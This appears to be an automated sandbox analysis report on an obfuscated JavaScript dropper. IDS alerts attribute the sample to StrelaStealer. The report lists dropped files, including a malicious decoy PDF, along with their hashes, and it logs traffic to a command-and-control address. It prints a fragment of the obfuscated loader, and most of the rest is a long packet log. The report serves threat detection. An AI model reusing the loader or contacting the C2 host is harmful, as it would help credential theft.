MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (10480), with no line terminators
Entropy (8bit):	4.998477221492893
TrID:
File name:	3130621478256819696.js
File size:	10'480 bytes
MD5:	6a93d37e3cbe6d22828504fc7c452a95
SHA1:	feb8db0fa8a1a4e7ae1f0b8bcebde4902ddf5acc
SHA256:	049a9cdb975959030941efd2606cdf14e6455dc6f01cf168c658a0728a26b2c7
SHA512:	8d15876fd8d467fe9c672885a31b1120c6d0f44221e138f63747865f88edd85843828fbc08af80cc600e56be5a6576c1497c661bbc4431674a1a0abceec32274
SSDEEP:	192:GWiNKqaQzRzJGioaFWRplUsKe/ibCJ/DJ+6/6/oOu0yqRXj+Zc:eTnRtRoaFW/ibCJ/DJ6X6Zc
TLSH:	8C22A5A7F78549C718F13593A38E9467C6CE620BEA5443F838FA418840E9D66EEEC074
File Content Preview:	function xzqcswo(){this[tlyqs+qpguxvj+mholwwzob+foakphrvc]("achgv=[1031,3079,5127,4103,2055,3072];var pobywr=this[erklxx+mholwwzob+rekagmu+jklfe+tlyqs+ubowwqrb+nbvlqffe+ekkfrw](this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][swanyia+rekagmu+tl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-13T16:18:58.651208+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-13T16:18:58.651208+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-13T16:19:01.294141+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 16:18:57.809238911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:57.814227104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:57.814327002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:57.817596912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:57.822431087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.650860071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.650906086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.650942087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.650974989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651010036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651042938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651077032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651110888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651149988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651180983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.651207924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.651207924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.651264906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.708328009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.708378077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.708416939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.708432913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.763003111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.776215076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776254892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776289940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776326895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776436090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776469946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776488066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.776488066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.776506901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776514053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.776536942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.776583910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.776993036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777026892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777061939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777082920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.777095079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777132034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777139902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.777801991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777853966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.777853966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777889967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777923107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.777939081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.777959108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.778002977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.778636932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.778673887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.778723001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.800709963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.839950085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.839998960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.840034962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.840073109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.840198994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.840198994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.868721008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.868762970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.868979931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.901637077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901701927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901736975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901771069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901807070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901837111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.901837111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.901839972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901874065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.901878119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901921034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.901945114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.901997089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902033091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902049065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.902066946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902105093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902113914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.902599096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902688026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.902699947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902736902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902770996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902785063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.902806997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902846098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902858019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.902884007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.902931929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.903517008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903569937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903605938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903623104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.903640032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903676033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903700113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.903709888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903748035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.903754950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.904424906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904476881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904479027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.904511929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904545069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904561996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.904581070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904613018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904628038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.904649019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.904695034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.905328989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.905363083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.905399084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.905414104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.925952911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.925987959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.926016092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.926023960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.926091909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.958734035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.958790064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.958827019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.958864927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.958895922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.958969116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.960786104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.960819960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.960855961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.960886002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.960931063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.960967064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.960978985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.961000919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.961045980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:58.993813992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.993858099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:58.993957043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.026684999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.026724100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.026761055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.026794910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.026830912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.026860952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.026918888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.026987076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027038097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.027041912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027080059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027113914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027139902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.027152061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027185917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027204037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.027223110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027282953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.027827024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027879000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027914047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027932882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.027949095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.027987003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028017044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.028464079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028517008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028520107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.028553009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028587103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028600931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.028624058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028659105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028691053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.028696060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.028750896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.029484987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029519081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029553890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029582977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.029588938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029624939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029643059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.029659033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029696941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.029731989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.030389071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030424118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030441046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.030461073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030494928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030508995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.030531883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030565977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030579090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.030602932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.030647039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.031213999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031267881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031303883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031336069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.031367064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031402111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031426907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.031438112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031476021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.031487942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.032092094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.032146931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.050915003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.050930023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.050941944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.050955057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.051011086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.051045895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.051055908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.051059961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.051074982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.051110029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.051238060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.051290035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.053014040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053025961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053036928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053060055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.053121090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053133965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053144932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053157091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053165913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.053194046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.053419113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053431034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053442001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053453922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.053472042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.053494930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.118940115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.118994951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119029999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119062901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119097948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119129896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119188070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119191885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119191885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119191885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119240999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119276047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119309902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119329929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119359970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119370937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119405985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119441986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119458914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119590044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119622946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119651079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119657040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119705915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.119755030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119811058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.119847059 CET	80	49704	193.143.1.205	192.168.2.5
